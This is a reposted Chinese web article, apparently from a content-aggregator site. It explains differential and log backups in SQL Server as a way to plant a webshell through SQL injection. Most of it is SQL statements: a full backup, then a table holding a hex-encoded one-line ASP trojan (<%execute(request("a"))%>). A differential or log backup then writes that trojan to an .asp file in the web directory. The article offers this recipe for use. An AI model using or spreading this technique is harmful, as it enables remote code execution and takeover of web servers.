LOG备份和差别备份的辨别[网络技术]
本文“LOG备份和差别备份的辨别[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
作者:撕碎了的小C
文章认为很不错,转载过来大家一同学习
____________________
差别备份是针对完好备份:备份上一次的完好备份后发生改变的全部文件
增量备份就是LOG备份,它是针关于上一次备份(无论是哪类备份):备份上一次备份后,全部发生改变的文件.
关于差别备份来说,只要前一次备份后,插入新的内容,差别备份便可以把刚插入的内容备份出来,而这个备份文件将大大削减,这样插入数据得以履行的概率也大大增添,得到webShell的成功自然也会提高了不少.其主要SQL语句为:
1首先完好备份一次(c:\ddd.bak为所备份未见)
backup database 库名 to disk = 'c:\ddd.bak';--
2.成立表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.举行差别备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>
而LOG备份需求先把指定的数据库激活为复原情势,所以需求履行alter database XXX set RECOVERY FUL,而差别备份不需求,所以只有这条语句的就是LOG备份.它的基本步骤以下:
alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:\Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('')
backup log XXXX to disk = 'c:\xxx\2.asp'
它只比差别备份多了一句SQL语句,就是那个激活的语句,但很多是时刻LOG备份产生的文件更小,所以我们普通挑选LOG备份.
以上是“LOG备份和差别备份的辨别[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |